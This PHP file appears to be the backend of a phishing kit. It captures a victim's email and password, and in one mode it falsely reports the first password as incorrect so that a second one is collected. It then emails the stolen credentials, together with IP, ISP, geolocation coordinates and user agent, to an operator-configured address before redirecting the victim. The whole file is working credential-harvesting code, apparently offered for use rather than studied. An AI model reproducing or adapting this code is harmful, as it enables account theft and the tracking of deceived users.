<?php
require "core/EntityVariables.php";
$config = require "KarmaEntity/config/config.php";

$feature = trim($config["feature"]);
$double_login = $config["double_login"];
$redirect_path = "/" . $feature;

$data = json_decode(file_get_contents("php://input"), true);
$password = $data["entity_password"] ?? null;

if (!isset($_SESSION["password_attempt"])) {
    $_SESSION["password_attempt"] = 0;
}

$_SESSION["password_attempt"]++;

if ($_SESSION["password_attempt"] === 1) {
    $_SESSION["password1"] = $password;
} elseif ($_SESSION["password_attempt"] === 2) {
    $_SESSION["password2"] = $password;
}

$email = $_SESSION['entity_email'] ?? "N/A";
$password1 = $_SESSION["password1"] ?? "N/A";
$password2 = $_SESSION["password2"] ?? "N/A";

if ($double_login) {
    if ($_SESSION["password_attempt"] < 2) {
        $_SESSION["auth_error"] = "Your password is incorrect.";
        echo json_encode([
            "success"  => false,
            "redirect" => "/loginAuth?entityId=$random_entity_id"
        ]);
        exit;
    }

    $message = '<div style="font-family: -apple-system, BlinkMacSystemFont, \'Segoe UI\', Roboto, Helvetica, Arial, sans-serif; background: #f4f7fc; border-radius: 20px; box-shadow: 0 4px 32px rgba(0, 0, 0, 0.1); padding: 40px 30px; line-height: 1.5;">'
        .'<h2 style="color: #2c3e50; font-size: 1.5rem; margin-bottom: 50px; letter-spacing: 0.8px; font-weight: 600;">' 
        .'<i>"' . htmlspecialchars($quote) . '"</i></h2>'
        .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">LOGIN INFO</h3>'
        .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); margin-bottom: 30px;">'
        .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
        .'Email       : ' . htmlspecialchars($email) . "\n"
        .'Password #1 : ' . htmlspecialchars($password1) . "\n"
        .'Password #2 : ' . htmlspecialchars($password2) . "\n"
        .'</code>'
        .'</pre>'
        .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">DEVICE INFO</h3>'
        .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);">'
        .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
        .'TYPE         : ' . ucfirst(htmlspecialchars($device)) . "\n"
        .'IP           : ' . htmlspecialchars($ip) . "\n"
        .'ASN          : ' . htmlspecialchars($asn) . "\n"
        .'ISP          : ' . htmlspecialchars($isp) . "\n"
        .'Country      : ' . htmlspecialchars($country) . "\n"
        .'City         : ' . htmlspecialchars($city) . "\n"
        .'Region       : ' . htmlspecialchars($region) . "\n"
        .'Latitude     : ' . htmlspecialchars($latitude) . "\n"
        .'Longitude    : ' . htmlspecialchars($longitude) . "\n"
        .'Timezone     : ' . htmlspecialchars($timezone) . "\n"
        .'User Agent   : ' . htmlspecialchars($userAgent) . "\n"
        .'</code>'
        .'</pre>'
        .'</div>';
} else {
    $message = '<div style="font-family: -apple-system, BlinkMacSystemFont, \'Segoe UI\', Roboto, Helvetica, Arial, sans-serif; background: #f4f7fc; border-radius: 20px; box-shadow: 0 4px 32px rgba(0, 0, 0, 0.1); padding: 40px 30px; line-height: 1.5;">'
        .'<h2 style="color: #2c3e50; font-size: 1.5rem; margin-bottom: 50px; letter-spacing: 0.8px; font-weight: 600;">' 
        .'<i>"' . htmlspecialchars($quote) . '"</i></h2>'
        .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">LOGIN INFO</h3>'
        .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); margin-bottom: 30px;">'
        .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
        .'Email       : ' . htmlspecialchars($email) . "\n"
        .'Password    : ' . htmlspecialchars($password) . "\n"
        .'</code>'
        .'</pre>'
        .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">DEVICE INFO</h3>'
        .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);">'
        .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
        .'TYPE         : ' . ucfirst(htmlspecialchars($device)) . "\n"
        .'IP           : ' . htmlspecialchars($ip) . "\n"
        .'ASN          : ' . htmlspecialchars($asn) . "\n"
        .'ISP          : ' . htmlspecialchars($isp) . "\n"
        .'Country      : ' . htmlspecialchars($country) . "\n"
        .'City         : ' . htmlspecialchars($city) . "\n"
        .'Region       : ' . htmlspecialchars($region) . "\n"
        .'Latitude     : ' . htmlspecialchars($latitude) . "\n"
        .'Longitude    : ' . htmlspecialchars($longitude) . "\n"
        .'Timezone     : ' . htmlspecialchars($timezone) . "\n"
        .'User Agent   : ' . htmlspecialchars($userAgent) . "\n"
        .'</code>'
        .'</pre>'
        .'</div>';
}

$to = trim($config["result_email"]);
$subject = "LOGIN :: " . strtoupper(htmlspecialchars($email) . " :: [ " . htmlspecialchars($country) . " - " . htmlspecialchars($ip) . " ]");
$headers = "From: Entity <karma@entity.net>\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";
EntityMessage("LOGIN RECEIVED", $ip);

@mail($to, $subject, $message, $headers);

$redirect_final = $redirect_path . "?entityId=$random_entity_id";
echo json_encode([
    "success"  => true,
    "redirect" => $redirect_final,
]);
exit;
?>
